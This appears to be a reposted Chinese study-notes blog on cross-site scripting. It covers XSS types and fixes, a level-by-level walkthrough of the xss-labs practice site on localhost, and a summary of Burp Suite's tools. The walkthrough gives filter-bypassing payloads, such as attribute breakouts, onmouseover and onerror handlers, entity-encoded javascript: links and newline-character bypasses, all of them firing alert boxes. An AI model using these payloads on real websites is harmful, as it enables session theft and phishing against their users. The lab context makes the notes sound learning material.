xss

Posted shang2060

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss相关的知识,希望对你有一定的参考价值。

第一章------------------------css的基础概念

 

第二章------------------------xss练习关卡

 

第三张-------------------------burpsuite

 

 

 

 

 

 

                                                                             第一章

Xss就是css,跨站脚本攻击指的是攻击者往web页面插入恶意的js代码在用户浏览该网页的时候被插入了js的web网页会执行js代码,这样子去到达攻击者的目的

Xss漏洞的分类

存储型(持久型)常发生在留言板一类:<script>alert(1);</script>

Dom型:

反射型(非持久型 )搜索框:Name=<script>alert(/xss/)</script>

区别在于存储型是存储到了数据库或者某个介质(缓存,文件等)

 

Xss漏洞的修复方法

html实体编码

使用白名单过滤掉用户输入的恶意字符

根据业务场景对症下药

同源策略:指的是域名,端口,协议相同。不同源的客户脚本在没有明确的授权下不能读写对方的资源

Xss的危害:

钓鱼欺骗:利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入javascript以监控目标网站的表单输入,甚至发起基于DHTML更高级的钓鱼方式

网站挂马:跨站时利用iframe嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站或者弹出恶意网站窗口等方式都可以挂马攻击

身份盗用:cookie是用户对于特定网站的身份验证标志,xss可以盗取到用户的cookie从而利用该cookie盗取用户对该网站的操作权限。如果一个网站管理员用户cookie被盗取将会对网站引发巨大的危害

盗取网站用户信息:当窃取到用户cookie从而获取到用户身份时,攻击者可以获取到用户对网站的操作权限,从而达到查看用户隐私的目的

垃圾信息发生:在SNS社区当中,利用xss漏洞借用攻击者身份发生大量垃圾信息给特定目标

劫持用户web行为:一些高级的xss攻击甚至可以劫持用户的web行为,监控用户的浏览历史,发送和接收的数据

Xss蠕虫:xss蠕虫可以用于打广告,刷流量,挂马,恶作剧,破坏网上数据,进行ddos攻击

 

存储型xss原理:攻击者将xss代码插入页面,服务端将数据存入数据库,当用户访问到存在xss漏洞的页面时,服务端从数据库当中取出数据展示到页面上,导致了xss代码执行,从而达到了攻击者需要的效果

1攻击者将恶意代码注入到服务器当中

2用户在没有防备的情况下访问服务器

3服务器将含有恶意代码的网页响应给客户端

4在客户端浏览器当中触发恶意的js代码

Exp漏洞的完整利用工具

Shellcode  利用漏洞时,所执行的代码

Payload 攻击载荷  :

Sqlmap 攻击代码的模板

Msf    与shellcode类似  功能是建立与目标之间的链接建立一个通道

Poc(漏洞的验证与检测)代码:

<script>alert(/xss/)</script>常用

<script>confirm(‘xss’) </script> 

<script>prompt(‘xss’) </script>

alert() 弹出个提示框 (确定) 
confirm() 弹出个确认框 (确定,取消) 
prompt() 弹出个输入框 让你输入东西

 ONmouseover:事件会在鼠标指针移动到指定的对象上时触发事件发生

Cookie:辨别用户身份

 

                                                                      第二章

1.get方式的的值直接输出来了。输入?name=<script>alert(1)</script>

alert的意思为弹出

  1. 1.    同样没有过滤,不过需要闭合前边的双引号和>。输入"><script>alert(1)</script>

3输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有<  >  "  ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value

http://127.0.0.1/xss/level3.php?keyword=‘onmouseover=‘alert(1)‘

 

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ‘ (单引号)成为 ‘
  • < (小于)成为 <
  • > (大于)成为 >

4. 大于号 小于号 被过滤了,构造不包含这两个符号的payload,需要使用双引号用于闭合value标签

http://127.0.0.1/xss/level4.php?keyword=test"onmouseover=‘alert(1)‘

5

”><a href=”javascript:alert(/xss/)”>xss</a>

strtolower()函数: strtolower() 函数把字符串转换为小写。

6直接引用<script>alert(/xss/)</script>发现不行前面加入“>,给他闭合<script>alert(/xss/)</script>可行

7直接插入一个js代码scscriptript然后闭合前面部分"><scscriptript>alert(/xss/)</scscriptript>t

8 注意到友情链接尝试插入一个链接失败于是加入了浏览器编码

 ava&#x0073;cript:alert(1) 点击添加链接

9 看了是否含有http://这个关键字,我们尝试在注释的时候加上

javasc&#x0072;ipt:%0dhttp://www.dsdd.com%0dalert(1)

10

注意到了这个于是把这个变成text类型,因为要get两个参数所以要用&

123&t_sort="type="text" οnclick="alert(1)

11.

12.

13

 

14  "><img src=1 onerror=alert(1)>

 

15 nclude有包含文件的意思 构造个payload:

 src=‘level1.php?name=<img src=x onerror=alert(1)>‘

 

16.script  /  空格被过滤了 ,用%0d换行符绕过

http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)

17:arg01和arg02  被htmlspecialchars过滤了,通过onmouseover=‘alert(1)‘绕过。

http://127.0.0.1/xss/level17.php?arg01=a&arg02=%20onmouseover=alert%282%29

18:直接把arg02 设置为onmouseover=‘alert(1)‘

http://192.168.40.128/xss/level18.php?arg01=a&arg02= onmouseover=alert(2)

 

burpsuite

1.Target(目标)-显示目标目录结构的的一个功能
2.Proxy(代理)拦 截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
3.Spider(蜘蛛)应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
4. Scanner(扫描器)-高级工具,执行后,它能自动地发现web应用程序的安全漏洞。
5.Intruder(入侵)_-个 定制的高度可配置的工具,对web应用程序进行自动化攻击,如:举标识符,收集有用的数据,以及使用fuzzing技术探测常规漏洞。
6.Repeater(中继器)-个 靠手动操作来触发单独的HTTP请求,并分析应用程序响应的工具。0
7.Sequencer(会话)-用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
8.Decoder(解码器)
进行手动执行或对应用程序数据者智能解码编码的工具。
9.Comparer(对比)
通常是通过D些相关的请求和响应得到两项数据的一一个可视化的“差异”。

10. Extender(扩展)
可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展
Burp Suit的功能。
11.Options(设置)-对 Burp Suite的- 些设 置

 

以上是关于xss的主要内容,如果未能解决你的问题,请参考以下文章

XSS基础学习

浅析XSS的几种测试方法

XSS攻击

markdown [js:XSS] XSS测试代码。 #js

XSS学习笔记

XSS攻击原理以及手段